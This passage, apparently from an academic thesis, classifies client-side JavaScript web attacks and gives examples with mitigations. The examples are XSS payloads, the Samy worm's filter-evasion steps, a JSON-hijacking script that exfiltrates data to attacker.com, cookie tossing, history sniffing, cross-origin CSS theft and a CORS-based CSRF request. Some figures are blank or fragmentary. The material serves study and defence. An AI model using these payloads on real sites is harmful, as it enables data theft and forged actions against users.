<td>Vulnerable Browser Code</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Exploitation of Authentication</td>
<td></td>
</tr>
<tr>
<td>Tampering</td>
<td>Injection</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Vulnerable Client Code</td>
<td></td>
</tr>
<tr>
<td>Repudiation</td>
<td>Exploitation of Authentication</td>
<td></td>
</tr>
<tr>
<td>Information Disclosure</td>
<td>Abuse of Functionality</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Injection</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Vulnerable Client Code</td>
<td></td>
</tr>
<tr>
<td>Elevation of Privilege</td>
<td>Exploitation of Authentication</td>
<td></td>
</tr>
<tr>
<td>Denial of Service</td>
<td>Resource Depletion</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Abuse of Functionality</td>
<td></td>
</tr>
</tbody>
</table>
Table 3.4 - What JavaScript Construct is the attack related to?

<table>
<thead>
<tr>
<th>Construct</th>
</tr>
</thead>
<tbody>
<tr>
<td>Location Related</td>
</tr>
<tr>
<td>Execution Related</td>
</tr>
<tr>
<td>Network Related</td>
</tr>
<tr>
<td>Storage Related</td>
</tr>
<tr>
<td>CSS Related</td>
</tr>
<tr>
<td>Data Structure Related</td>
</tr>
</tbody>
</table>

Table 3.5 - What White Box asset is the attack targeting?

<table>
<thead>
<tr>
<th>Asset</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data</td>
</tr>
<tr>
<td>Call Graph</td>
</tr>
<tr>
<td>Function</td>
</tr>
<tr>
<td>Control Flow Graph</td>
</tr>
<tr>
<td>Program Logic</td>
</tr>
</tbody>
</table>

3.3 Conclusion

In this chapter we have devised a taxonomy with which we can conveniently categorize JavaScript attacks. In the following chapter we will explore multiple “Man in the Middle” attacks and explain how we place each attack in our taxonomy.
Chapter 4

Man in the Middle Attacks

4.1 Introduction

As stated in the chapter 2, the application architecture relevant to our study is client/server architecture with a monolithic, event driven client where much of the web application’s logic sits on the client side. We recognize that the server side is a critical element of the client/server architecture both as a supporter to the construction of dynamic pages as well as an environment in which much of the attack mitigation is done. Nevertheless, we must acknowledge the fact that the server side of a web application can be written in numerous programming languages, limiting our ability to address server side code in the context of this thesis. This chapter will explore Man in the Middle attacks in JavaScript applications. Section 4.2 discusses Grey Box attacks and 4.3 discuss Black Box attacks. Each section is further divided into subsections guided by the taxonomy put forth in chapter 3. Finally, each attack is put in its corresponding subsection and labeled based on the type of attack that has taken place.

4.2 Grey Box

The attacks in this section are grey box meaning the attacker has knowledge of the internal structure of the target application. Section 4.2.1 discusses first party grey box attacks. In section 4.2.1.1 we focus on first party client side attacks and Section 4.2.1.2 explores first party server side attacks.

4.2.1 First Party

4.2.1.1 Client Side

**Information Disclosure:** In the following attack the client side code written by the first party has a vulnerability in which the attacker injects a malicious script leading to information disclosure. The target code is `document.location` making it location related. We have categorized the attack as grey box
since the attacker has an understanding of the code and algorithms used on the client side. This is due to visibility of client side JavaScript code.

One of the major concerns in web application security is Cross Site Scripting (XSS) attack. In the first two types of this attack known as “stored” and “reflected” the malicious script is sent to the server and then reflected back to the web page. Klein [24] describes the third type as attacks that exploit the use of JavaScript objects such as `document.URL`, `document.location` or `document.referrer` in a vulnerable way. The attacker input does not need to be sent to the server while the attack can tamper the website content, hijack user web sessions, perform actions on their behalf and spoof web contents.

An example of this sort of vulnerability has been previously found in Bugzilla [25]. If bugzilla.mozilla.org ran into an internal error it dumped out a notice to send the requested URL to an admin. This was done using the line of JavaScript:

```javascript
document.write("<p>URL: " + document.location + ":</p>")
```

`Document.location` returns the location object of the window. Since Internet Explorer and some other browsers do not force proper URL encoding the attacker can easily force an error and inject arbitrary JavaScript code. Note that the attacker has to send the malicious link to the user. Upon clicking on the link the attack will take place. Bugzilla does not understand the action parameter, raises an internal error and this leads to an XSS attack. One use for this attack is to steal the session cookie as shown in figure 4.1:

https://bugzilla.mozilla.org/attachment.cgi?id=&action=force_internal_error<script>alert(document.cookie)</script>

**Figure 4.1 – Grey box first party client side Information disclosure attack**
Some guidelines to avoid this type of attack are as follows:

- Avoiding client side document rewriting, redirection, or other sensitive actions using client side data. Most of these effects can be achieved by using dynamic pages (server side).
- Sanitize the request to the server before processing. This exploit only works if the browser does not modify the URL characters. Internet Explorer 6.0 does not encode < and >, and is therefore vulnerable to the attack. A secure website would encode < and > in the `document.location` when the URL is not directly typed at the address bar.

**Tampering:** The following attack is a variation of the previous attack. This time the attack is used for tampering with the website user interface. We also talk about an evasion technique that helps the attacker get around server side detection.

A DOM based XSS attack can come to realization through the unsafe use of `document.URL` [26] which returns the full URL of the document. This is demonstrated in figure 4.2:
<html>
<title>Welcome!</title>

Hi

<script>
var position=document.URL.indexOf('name=')+5;
document.write(document.URL.substring(position, document.URL.length));
</script>

<br>
Welcome to our website!
</html>

Typical access to this web page would be via the following URL:
http://www.vulnerable.site/welcome.html?name=Joe

If this web page is retrieved via the following malicious URL:
http://www.vulnerable.site/welcome.html?name= <script>alert(tamper with page!)</script>

Figure 4.2 - Grey box first party client side Tampering attack

The browser sends an HTTP request to the website and in return gets welcome.html. It then starts to parse the HTML to present to the user. The output of this parsing is the DOM which contains the document object which in turn contains a URL property which is populated with the current URL. When the parser executes the JavaScript code it modifies the HTML of the page. In this case, the code references document.URL and a part of this string is executed which is the JavaScript code alert(tamper with page!), hence the XSS attack.
In the above example, it may be argued that the payload still arrives at the server (in the query part of the HTTP request), and so it can be detected just like any other XSS attack. Consider the following attack:

http://www.vulnerable.site/welcome.html#name= <script> alert(tamper with page!)</script>

An evasion technique that causes the major browsers not to send the malicious payload to the server is using the HTML fragment identifier (#), a fact that makes this type of vulnerability particularly dangerous. The number sign tells the browser that everything beyond it is a fragment and should not be counted as part of the query.

**Repudiation:** In the following attack the client side code written by the first party has a vulnerability in which it uses `document.referrer` for authentication. The attacker exploits this authentication mechanism leading to repudiation. The vulnerable use of `document.referrer` makes it location related. We have categorized the attack as grey box since the attacker has an understanding of the code and algorithms used on the client side.

`Document.referrer` is a property of the document object that returns the URL that the current document was loaded from. By checking the referrer, the new webpage can see where the request is from. Usually this is used for statistics purposes to help websites get a better feel on where people landing on their site originate from [27].

Many websites use the referrer information in order to decide whether to deliver the content to a particular user or not. Despite all this, using this information in the application code as a content security scheme is not state of the art and has been described as snake oil security. The referrer information is alterable and can be stripped from the request and most websites that use referrer also accept when this property is not sent. It is not a password, though some poorly configured systems treat it as such.

In the Cross Site Request Forgery (CSRF), the attacker uses social engineering to lure the victim into visiting the malicious website. In this malicious website a request is made on behalf of the user. In the
following example the image tag is used to send sensitive data to a specific target. Datamanager.com has the CSRF vulnerability but uses referrer to identify its users. This means that if a malicious link such as

```html
<img src="http://datamanager.com/send?data=dataID & target=targetUserID"/>
```

is sent to the user, the website will not allow the action to happen because the referrer is not http://datamanager.com. Hence, the attacker website will have to do something to strip the referrer property. Data uri along with meta refresh does the job in Chrome and Firefox browsers as shown in figure 4.3:

```html
location = 'data:text/html, <html><meta http-equiv="refresh" content="0; url=data:text/html, <img src="http://datamanager.com/send?data=dataID & target=targetUserID"/>

Figure 4.3 - Grey box first party client side Repudiation attack
```

**Injection in Eval:** In the following attack the client side code written by the first party uses the eval function in a vulnerable fashion which the attacker injects a script used for malicious purposes. The target code is the eval function making it execution related. We have categorized the attack as grey box since the attacker has an understanding of the code and algorithms used on the client side.

Eval is a global JavaScript function. The argument of eval is a string that can be either a set of statements or an expression. If the argument is an expression, eval evaluates it and in the case of statements, eval executes them. This dynamic evaluation is a very powerful language feature and if used in the wrong way can be dangerous.

The power of eval comes from the fact that is has a far reach in making changes throughout the program. Eval can install new libraries, add/remove/change field and methods in an object, or even redefine built in objects such as Array.
One of the big problems with using this dynamic feature is that it makes it hard for the interpreter to do code optimization because there are no static guarantees about the behavior of the code. There are many common patterns in the use of eval. Some are industry best practices, such as JSON and library loading. Others result from poor understanding of the language.

The first category is deserializing JSON. The eval argument string in this category has nothing to do with the environment that eval is in and is restricted to creating objects and reading/writing their properties. Then comes the local category that the evaluated code reads, writes or deletes variables of the function that called eval. Finally the global category has the ability to read and write properties of the global object.

Richards [28] identifies frequently occurring patterns of eval strings which can be detected by a simple syntactic check.

- JSON-like constructs: Deserializing JSON is often seen as an acceptable use of eval.
- Library loading: Libraries are usually loaded by <script> tags. The problem is that the evaluation of the script is synchronous with layout. A common workaround is to download the script asynchronously with AJAX, then execute it with eval at some later time
- Field access: Access to properties of an object and to local variables is covered by the Read category. In the vast majority of situations, property reads can be replaced by using JavaScript’s hashmap access. For instance, `eval("foo."+x)` can be replaced by `foo[x]`.

Most eval call sites in categories are replaceable by less dynamic features such as `JSON.parse()`, and proper use of JavaScript arrays. These account for 76% of all evaluated strings; thus, a majority of eval uses are not necessary.

Although it should be used correctly, the presence of eval does not automatically open up the application to a XSS attack and just like any tool should be used correctly. The attack is shown in figure
4.4. Here productID is coming from the URL and if we pass on the value in the following URL it is set as a parameter of the getProduct function. The malicious scenario which the URL would have been supplied to the victim by the attacker results in DOM based XSS:

*Use of eval in the application:*

```javascript
eval('getProduct('+ productID.toString()+');
```

*Normal use:*


*Malicious use:*


*Result of the attack is:*

```javascript
eval (‘getProduct (‘3’);alert(‘attack’)’)/’);
```

**Figure 4.4 – Injection of eval**

The result of figure 4.4 means `getProduct (‘3’); alert(‘attack’)` is executed as the rest of the script is commented out.

Security literature in general views eval as a serious threat. In order to mitigate the threats caused by eval, most application developers either forbid it completely or assume that its inputs must be filtered.

**Elevation of Privilege:** In the following attack the client side code written by the first party has a vulnerability in which the attacker can modify his profile page and send malicious Ajax requests for which the website does not properly mitigate. In this attack, exploitation of authentication leads to elevation of privilege. The attack code uses an Ajax request, making it network related. We have categorized the attack as grey box since the attacker has an understanding of the code and algorithms used on the client side.
Before the introduction of Ajax, malicious injected scripts could only read content of the HTML page the victim is currently on. The content was then sent to the attacker’s server. This form of information theft is known as passive screen scraping. With Ajax, the injected code can make requests to pages other than the one the user is currently looking at. The script makes use of the user’s credentials to make malicious requests without refreshing the web page.

Previous XSS attacks were injected and propagated manually by the attacker. The attacker could either do reflected XSS which finds vulnerability in a particular page to do the injection or stored XSS where the script is saved in the database and affects the victim after opening the page that retrieves the script. In the case of AJAX, the attacker can spread the attack like a virus without any visible refresh of the page. The XSS payload can independently inject itself into different pages. The following example is probably the most famous example of using Ajax in a XSS attack.

In 2005, MySpace.com was attacked by a self-propagating worm called the Samy worm [29]. The way it works is that the attacker has a profile on MySpace and whenever someone views the attacker’s profile they are automatically added to his friend list. To make matters worse, the script is copied into the victim’s profile leading the attack to spread exponentially. The following is the summary of the attack blog written in 2005:

1. Myspace has security measures in place to block tags such as `<script>`, `<body>`, `onClick`, `href` with JavaScript, etc. only allowing `<a>`, `<img>` and `<div>`. In some browser such as IE and some versions of Safari it was found that JavaScript within CSS tags are allowed. This vulnerability is essential in carrying out the attack since the attack does not work without JavaScript. An example of a div tag with JavaScript is:

```html
<div style="background:url('javascript:alert(1)')">
```
2. The problem with the above example is that quotes cannot be used in the JavaScript code because both single and double quotes have already been used within the CSS style. This makes coding JavaScript very difficult. In order to get around it, an expression can be used to store the JavaScript and then executed it by name. For example:

```html
<div id="mycode" expr="alert('XSS attack!')"
 style="background:url('javascript:eval(document.mycode.expr)')">
</div>
```

3. The next problem is that MySpace strips out the word "javascript" anywhere it finds it. To get around this, a newline character is added since some browsers interpret "java\nscript" as "javascript".

```html
<div id="mycode" expr="alert('XSS attack!')" style="background:url('java\nscript:eval(document.mycode.expr)')">
</div>
```

4. While single quotes are working, double quotes are also needed. The escape quote sequence (e.g., foo\"bar) will not work since MySpace strips it out. However, the quotes can be produced by converting decimal to ASCII.

```html
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java<newline>script:eval(document.mycode.expr)')">
</div>
```

5. The malicious code should be posted on the profile who is viewing the attacker’s page. Another vulnerability of MySpace is that the ID of the user that is viewing the page exists in the page source. Document.body.innerHTML can be used to get the page source and extract this ID.
MySpace does not allow the word “innerHTML” but the attacker can get around this by using `eval()` in the following form:

```javascript
alert(eval('document.body.inne' + 'rHTML'));
```

6. Now that the attacker has the ID he can access other pages. One way to do this is with an iframe but it is a bit obvious that something is going on even when the iframe is hidden. A better way to make the HTTP GET/POST within the script is XMLHttpRequest (XHR). Another problem the attacker faces is that MySpace will filter out the string `onreadystatechange` which is necessary for XHR. As in the previous step `eval` can be used to remedy this:

```javascript
eval('xmlhttp.onread' + 'ystatechange = callback');
```

7. Now that all the technical issues to send an XHR request on MySpace are solved it is time to add the attacker to the victim’s friend list. First thing is to perform a XHR POST on the add friends page in order to add the attacker as the victims friend. Unfortunately due to the same origin policy this does not work since the script is on profile.myspace.com and posting can only be done on www.myspace.com. In order to do this, the attacker can go on the same page but on the myspace.com URL as follows:

```javascript
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
```

8. Although the attacker can successfully send the post the friend isn’t actually added. The reason is that MySpace generates a random hash on a pre-POST page (for example, the "Are you sure you want to add this user as a friend" page). The hash must be passed with the post. To do this, the
attacker sends a GET to the pre-POST page, parses the source for the hash and finally performs the POST while passing the hash.

9. The final stage is to add the attacker as the victim’s hero. The malicious code should also be added in order to create a self-propagating affect. The hero and the code end up in the same place so only one post is needed. The attacker needs to add a random hash to the post similar to the friend adding step. The easiest way to do this is to grab the source of the victim’s profile, parse out the hash code, and then POST.

4.2.1.2 Server Side

**Information disclosure:** In the following attack the server side code written by the first party does not properly mitigate requests from the attacker’s page. In this attack, abuse of functionality leads to information disclosure. The attack is targeting JSON making it data structure related. We have categorized the attack as grey box since the attacker has an understanding of the JSON structure and overrides it.

Many web applications use JavaScript for transmitting data. JSON is a data transfer format that serializes arbitrary data and can be processed by JavaScript interpreters. A malicious website cannot request to load a script from a different domain and view its contents but if this website uses a `<script>` tag to include and execute the target script within its own page it will not be a violation of the same origin policy. By executing the included script, the malicious site will have access to the data it contains [30].

JSON hijacking is an attack which violates the objectives of the browser’s same origin policy. In a benign XHR request originating from www.benign.com the client requests data from a server and evaluates the result as JSON with the code shown in figure 4.5:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send();

The server responds with an array in JSON format:

```json
[{
"fname":"Hassan", "lname":"Nouri", "phone":"6502135600",
"purchases":60000.00, "email":"nouri@abc.com" },
{"fname":"foo", "lname":"bar", "phone":"6502135600",
"purchases":120000.00, "email":"foo@abc.com" },
]
```

**Figure 4.5 – Example of XHR request and response**

The JSON that is returned in response contains sensitive information that is only served to the current user. Other users cannot access this information without having the user's session identifier. Nevertheless, the attacker need not know the user's session id. It suffices that the user be tricked into visiting the malicious website of figure 4.6 for the JSON hijacking to take place:
// Override the constructor used to create all objects so that whenever
// the "email" field is set, the method captureObject() will run. Since
// "email" is the final field this will allow the attacker to steal the
// whole object.
function Object() {
    this.email.setter = captureObject;
}

// Send the captured object back to the attacker's website
function captureObject(x) {
    var objString = ""
    for (fld in this) {
        objString += fld + ": " + this[fld] + ", "
    }
    objString += "email: " + x;
    var req = new XMLHttpRequest();
    req.open("GET", "http://attacker.com?obj=" + escape(objString),
    true);
    req.send();
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.benign.com/object.json">
</script>

Figure 4.6 - Grey box first party server side Information Disclosure attack
The JSON array that is included via the script tag is evaluated in the context of the malicious page. The malicious page overrides the Object constructor. This way whenever the final property of the object (email in this case) is evaluated the `captureObject` function is executed sending each fully created object to the attacker’s server.

In order to make it impossible for a malicious site to execute a response that includes JavaScript, the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a `<script>` tag. When the server serializes an object, it should include a prefix (e.g., the statement `while(1);`) that makes it impossible to execute the JavaScript using a `<script>` tag since evaluating the message will send the JavaScript interpreter into an infinite loop. The legitimate client application can remove this extraneous data before running the JavaScript as shown in figure 4.7:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json", true);
req.onreadystatechange = function () {
    if (req.readyState == 4) {
        var txt = req.responseText;
        if (txt.substr(0, 9) == "while(1);") {
            txt = txt.substring(10);
        }
        object = eval("(" + txt + ")");
        req = null;
    }
};
req.send();

Figure 4.7 – Mitigation of JSON hijacking

4.3 Black Box

The attacks in this section are black box meaning the attacker does not have any knowledge of the inside workings of the target application. Section 4.3.1 discusses browser related black box attacks. In section 4.3.2 we focus on first party black box attacks. Take note that the first party attacks can be further partitioned into client side and server side attacks. In the literature we have only found client side attacks for this section. Finally, section 4.3.3 targets third party attacks where we have found an attack related to mashups.
4.3.1 Browser Related

**Information Disclosure:** In the following attack abuse of caching functionality leads to information disclosure. The target is the browser cache making it storage related. We have categorized the attack as black box since the attacker has no need for information regarding the internal working of the browsers caching mechanism.

Using an application cache a user is allowed offline access to websites. Although this is an interesting feature, an issue with some browsers such as Chrome and Safari is that a website can create an offline application cache without asking for the user’s permission [31]. The problem with application cache is that it can be poisoned easily through man in the middle attacks when the user is on an unsecure network. With application cache any file can be cached. For example the root file ‘/’ of a site can be cached. So if the root file for www.benignsite.com was cached, every time the user types www.benignsite.com in the browser, the cached page is fetched.

The following illustrates how an attacker can take advantage of the application cache and trick the user into entering his credentials for a particular website. Below are the steps of the attack:

1. The victim connects to an unsecured network controlled by the attacker.
2. The victim requests any random site.
3. The attacker responds to the request with a page that contains a hidden iframe pointing to http://benignsite.com
4. The browser sends the request for http://benignsite.com
5. The attacker responds with his own copy of the benignsite login page including a backdoor to send the victims credentials to the malicious server as shown in figure 4.8. This page also contains the cache manifest file which is configured to cache the root directory of www.benignsite.com. Take note that the manifest attribute must exist in the HTML otherwise the page will not be cached.
//the manifest file includes files of the root directory
<html manifest = "vs.appcache">
<script>
function backdoor()
{
//When the user enters his username and password and clicks the
//login button.
{
var username = document.getElementById('username').value;
var pwd = document.getElementById('pass').value;
// send emailed + pwd to the malicious server!!
}
}
</script>
<body>
//The attacker creates a page that looks exactly like
//Benignsite’s login page
</body>
</html>

Figure 4.8 – Malicious version of Benignsite created and controlled by attacker

6. From now on when user goes to Benignsite, the login page is loaded from the cache

Spoofing: In the following attack, abuse of location.hash functionality along with vulnerable
browser code regarding history navigation leads to spoofing. The attack needs to maliciously set
location.hash making it location related. We have categorized the attack as black box since the attacker has no need for information regarding the internal workings of the browser history related code to carry out the attack.

Location.hash is a property of the location object that returns the anchor portion of the URL including the hash (#) sign. Typically the fragment is used to refer to an internal section within a web document. In the following URL location.hash returns “#anchor”:

http://www.example.com/abc.html#anchor

In 2012 an issue of spoofing of the location property in Firefox was reported [32]. If writes to the location.hash are used in combination with scripted history navigation it can cause the history object to store a different website from what is shown in the URL. This is a spoof which can lead to stolen user data. Although this bug has been fixed it illustrates how the location.hash property can be used in a malicious manner.

The history navigation is the cause of the bug which incorrectly handles calls to history.forward and history.back. Let us assume the victim visits the attacker website and the history object is in the following state:

[0]: 'http://attacker/' (active)
[1]: 'http://benign/'

The script on the attacker website can set location.hash before the script is terminated. Now if the user clicks the forward button on the browser calling history.forward, the history object will be in the following state after opening http://benign/:

[0]: 'http://attacker/'
[1]: 'http://attacker/#hash' (active)

There is a discrepancy between the displayed URL and the address stored in history. Calling
history.back() will set baseURI back to http://attacker/. This causes the victim’s input on a benign site to be redirected to the attacker’s server. Only the hash was changed in the history object therefore the page was not reloaded and the benign website is shown. The attacker can wait for the victim to fill out input in the website and then call history.back to send that data to his server.

**Denial of Service:** In the following attack, abuse of cookie functionality leads to denial of service. The attack needs to maliciously set document cookies making it storage related. We have categorized the attack as black box since the attacker has no need for information regarding the internal workings of the browser cookie related code to carry out the attack.

The client side storage on the browser is divided into different sections associated with each website the user has visited. Browser cookies which are a form of client side storage are sent to the server with every HTTP request. They are used to save state that helps with session management, personalization and tracking. Cookies can be described as a form of identity for the browser. document.cookie contains name/value pairs of cookies in the document. Cookie attributes can be used to specify the lifetime of each cookie. Their default lifetime is the same as the entire browser process, not the lifetime of any one window. Different types of cookies are session cookie, persistent cookie, secure cookie, HttpOnly cookie and super cookie. The segregation on the client side restricts a script on one website from having access to the cookies of another website.

An example from GitHub.com [33] illustrates the next attack which is called cookie tossing. When a user logs onto GitHub.com, the site sets a session cookie through the HTTP headers of the response. This cookie contains the session data that uniquely identifies the user:

```
Set-Cookie: _session=THIS_IS_A_SESSION_TOKEN; path=/; expires=InTwoDays; secure; HttpOnly
```

GitHub Pages are hosted by GitHub meaning they are the subdomain of GitHub. The GitHub Pages hosted site does not have the vulnerability which allows session cookies to be stolen, but cookie tossing
from the subdomain to the parent domain is possible. When performing a request to github.com, a cookie set for the domain .github.com will be sent. The cookie header only contains the name and value for each of the cookies, and none of the extra information with which cookies are set, such as the path or domain. The vulnerability stems from the fact that if the cookie is set in the subdomain it will be sent to the parent domain as well. The following example demonstrates how the attack is done:

First note that the ordering of the cookies set in a domain and in its subdomains is not specified. If there is more than one cookie with the same name in the cookie header, the first one will be arbitrarily assumed to be the value of the cookie. The impact of the vulnerability is not critical, but it is a very practical example that people could easily reproduce to annoy users by logging them out.

The steps of the attack are as follows:

1. Use social engineering to get a Github user to open your Github subdomain.

2. On a subdomain use a script that does the following:

   ```javascript
   document.cookie = '_gh_sess=HACKED; Domain=.github.com';
   window.open('https://github.com');
   ```

3. Browser sends: Cookie:_gh_sess=ORIGINAL; _gh_sess=HACKED;

4. Server responds: Set-Cookie:_gh_sess=ORIGINAL; httponly ....

   This made the HACKED cookie older than freshly received ORIGINAL cookie.

5. `window.open('https://github.com')`

6. Browser sends: Cookie: _gh_sess=HACKED; _gh_sess=ORIGINAL;

7. Server response: Set-Cookie: _gh_sess=HACKED; httponly ....

8. Now both Domain=.github.com and Domain=github.com cookies have the same HACKED value.

9. **destroy the cookie**: `document.cookie=' _gh_sess='; Domain=.github.com; expires=Thu, 01 Jan 1970 00:00:01 GMT';`
The attack is able to break login, forcing the github user to sign in again [34].

The main approach to mitigate cookie tossing in GitHub is to control the number of cookies that have been set. A better approach is to use a different domain altogether for the GitHub pages.

**Information Disclosure:** In the following attack, abuse of `getComputedStyle` function leads to Information disclosure. The attack leaks the victims visited websites by making use of style functions making it CSS related. We have categorized the attack as black box since the attacker has no need for information regarding the internal workings of the browser style related code to carry out the attack.

When a user browses the internet, links that he has visited have a different color than the ones that have not been visited. The window object has a function called `getComputedStyle` that returns the CSS properties of an element.

A malicious website can hijack a victims browsing history by creating a number of invisible links to third party websites such as Google, Facebook and Amazon. When the user visits the malicious website, the attacker can use a snippet of JavaScript code to know what color the hidden links should have, revealing the victims visited websites.

The following code is an example of how the attack is carried out:
var links = document.links;
for (var i = 0; i < links.length; ++i) {
    if (getComputedStyle(links[i], "").color == "rgb(0, 0, 128)") {
        // we know link.href has not been visited
    } else {
        // we know link.href has been visited. The malicious JavaScript
        // the information over to the attackers’ server.
        background: url(maliciousJS?site= links[i].href);
    }
}

The HTML has different links that the attacker is interested in:

<a id="goog" href="http://www.google.com"></a>
<a id="fb" href="http://www.facebook.com"></a>
<a id="amzn" href="http://www.amazon.com"></a>

Figure 4.9 – Black Box browser related Information Disclosure attack

Jang et al.[35] tag links that were being tracked, akin to the paint packets banks add to bags of money. As
soon as a JavaScript tries to look at the color of a link, paint is immediately put on that link (the link is
tagged). Some sites collect that information but never sent it over the network but in other cases, it is
observed that paint is being sent over the network, indicating that history sniffing is going on.
Modern browsers including Chrome, Firefox and Safari defend against history sniffing although some
versions of IE are vulnerable to the attack. In Firefox the CSS visited links can be manually disabled in
the browser’s about:config file.
**Information disclosure:** In the following attack, code injection and the abuse of the way style sheets are loaded leads to Information disclosure. The attack discloses the victim’s inbox titles by making use of the way the browser loads CSS documents, making it CSS related. We have categorized the attack as black box since the attacker has no need for information regarding the internal workings of the browser style related code to carry out the attack.

In cross-origin CSS attacks, a style sheet import can be used to steal a user’s confidential information. An HTML document may include content such as images, scripts and style sheets from different sites but the same origin policy does not allow the document’s script to directly examine this content.

![Schematic view of Cross-Origin CSS Attack](image)

**Figure 4.10 - Schematic view of Cross-Origin CSS Attack**
CSS as with other web technologies are often updated with new features, therefore it is important that CSS have error tolerant parsing. This means the browser skips over CSS that it does not understand and helps web designers build sites that degrade gracefully when using older browsers. The problem occurs when CSS constructs are injected in a vulnerable HTML document. The attacker loads that HTML document as a style sheet and entices the victim to visit his malicious page. This way he can extract confidential information from the parsed style rules.

It seems counter intuitive that an HTML document can be potentially parsed as a style sheet. However, the error recovery rules will cause the parser to find valid CSS rules that in fact hold the secret information and skip the rest of the document. In the schematic example in Figure 4.10, the attacker has arranged to insert two strings into the document placed before and after the secret as follows:

Before the secret: `{} body { background-image: url('  
After the secret: ') `;

When the CSS parser is in error recovery mode the first thing that it looks for is a brace enclosed block. When the tokens `{} are reached in the document the parser comes out of error recovery and starts parsing CSS as normal. The next component, `body { background-image: url(' is used to declare a background image for the body element. What is important is that it takes a string as its value so the attacker can use it to absorb the secret information. In the following attack done on Yahoo! Mail, the goal of the attack is to steal subject lines of the user’s private inbox [36]. The following steps are taken to inject the CSS construct:

1. Send an email to the victim with the subject line: `');`
2. Wait for some time while the victim receives other messages (These are the subject lines the attacker wants to steal)

3. Send another email to the victim with the subject line: `{body}{background-image:url('}

On the other side of the attack the attacker needs to get the user to visit his malicious website. This website does two things. One is to load the Yahoo! Mail page as a CSS file and another is to extract the sensitive data.

There are three main ways to extract the information within the malicious website. The `document.styleSheets[].cssRules[]` arrays contain all the style rule objects for a document. Unfortunately for the attacker, this approach does not work in all browsers due to same origin policy. The `getComputedStyle` supported in most browsers or the `currentStyle` object in IE can be used to get around this policy. No current browser blocks access to computed style if it was computed from a cross-origin style sheet's rules.

The attacker’s page is shown in figure 4.11:
The attack works even if the target page cannot be retrieved without presenting login credentials, because the browser will present any credentials (e.g., HTTP cookies) it has stored for the target server when it does the load.

A way to foil the attacker’s attempts to load a non CSS style sheet is for the browser to strictly refuse a cross origin style sheet unless it is labeled text/css. Misconfiguration of the content type is not uncommon, hence this strict mitigation may cause legitimate request for cross origin style sheets to fail.
4.3.2 First Party Client Side

**Repudiation:** In the following attack, exploitation of authentication and the abuse of Cross Origin Resource Sharing (CORS) functionality lead to repudiation. The attack code is network related and we have categorized the attack as black box since the attacker has no need for information regarding the internal workings of CORS.

The same origin policy permits scripts running on pages of a website access to the DOM of each other but not of other websites. This is essential for the web application’s security. With the introduction of CORS this policy has become a bit more flexible [37]. CORS allows a script within a page to send an XHR to a domain which it did not originate.

A server can allow requests from different domains if it chooses to do so. To send the request, the browser sends the request and notifies the server of the origin with an Origin HTTP header. For example if a page from www.facebook.com wants to access the user data of www.personalcalendar.com and the user browser implements CORS, a request is sent to www.personalcalendar.com. The serving website has a list of websites that it allows access through CORS. If the request originating from the user browser is allowed, the server sends an Access-Control-Allow-Origin header in response.

An interesting property of the XHR object is `withCredentials`. When this property is set to `true` the user cookies are sent to the server along with the request. CORS along with credentials are the ingredients that enable a silent CSRF (Cross Site Request Forgery) attack to take place. In effect, CORS along with credentials is synonymous to the victim visiting the target website with his valid credentials.

In the following attack the victim buys a device without even knowing:

Benign URL: deviceseller.com/html5/service.php
Attacker Webserver: attacker.com/html5/index.html
The victim’s computer has cookie set from deviceseller.com which enables auto login. When the victim visits "Attacker Webserver" on "attacker.com/html5/index.html" the JavaScript shown in figure 4.12 gets executed:

```javascript
request = new XMLHttpRequest();

<!-- Method | URL | Boolean Async -->
request.open("GET","http://deviceseller.com/html5/service.php?buy=device",true);
request.setRequestHeader("Content-Type","text/plain");

<!-- Opening the link with credentials (cookie replay) -->
request.withCredentials = "true";

request.onreadystatechange = function() {
  if (request.readyState == 4) {
    var response = request.responseText;
    document.getElementById("response").innerHTML = "CSRF attack launched!";
  }
}
request.send();
```

**Figure 4.12 - Black Box first party client side Repudiation attack**

**Information disclosure:** In the following attack, Abuse of event handling functionality causes information disclosure. The use of event handling leads us to categorize this attack as execution related.
The attack is black box since the attacker has no need for information regarding the internal workings and code of the browser’s event handling to carry out the attack.

A Basic Reconnaissance Attack (BRA) takes advantage of JavaScript event handling to get information about the victim and his browser. This information can include websites previously visited by the user and whether or not the user is currently logged in to a specific application. This information can be the initial ingredient to more elaborate attacks.

To find out if a website has been recently visited, the attacker uses a script that sends a request to a resource that would exist in the local cache if the victim has recently visited the website [38]. Assume the attacker wants to know if the user has recently visited www.yahoo.com. He can send a request for Yahoo!’s logo and listen to the response using an onload event handler. Based on the load time the attacker can determine if the user has recently visited the website.

If the attacker wants to know if the user is logged into a website he uses a script tag and sets its source to the name of the website. Since the website is an HTML document it cannot be processed by a script tag and returns an error. The interesting thing is that the error code is different for the situation when the user is logged in from the time he is logged out implicitly hinting his current status.

The steps of the above attacks are as follows:

1. Determine the URL that points to a remote entity of interest
2. The following script exists in a malicious website which the victim is enticed to visit. It includes networking elements such as an image, iframe or a script element (an image is used in this example). The URL is set in the src property of one of these elements as shown in the code of figure 4.13:
<script>
function loaded()
{
    // resource exists
    console.log ((new Date).getTime() - img.startTime);
}
function err()
{
    // requesting the www.yahoomail.com will create an error
    // that implicitly notifies the attacker of the victims
    // login status.

}

img = new Image();

img.onload = loaded;

img.startTime = (new Date).getTime();

img.src = "http://target.com/image.jpg";
</script>

<script src="http://www.yahoomail.com"></script>

Figure 4.13 - Black Box first party client side Information disclosure attack

3. Using the events the script collects information regarding the remote entity
   
   - Onload means the element was successfully included
   - Onerror happens if the received data cannot be processed or the connection was terminated

An alternate way to time the resource load time using the following line of code:

```
imgTiming = window.performance.getEntriesByName("http://target.com/image.jpg ");
```
The returned imgTiming object has properties such as fetchStart that stores the time when the appCache was checked for the resource and responseEnd that is the time a response was sent back to the client.

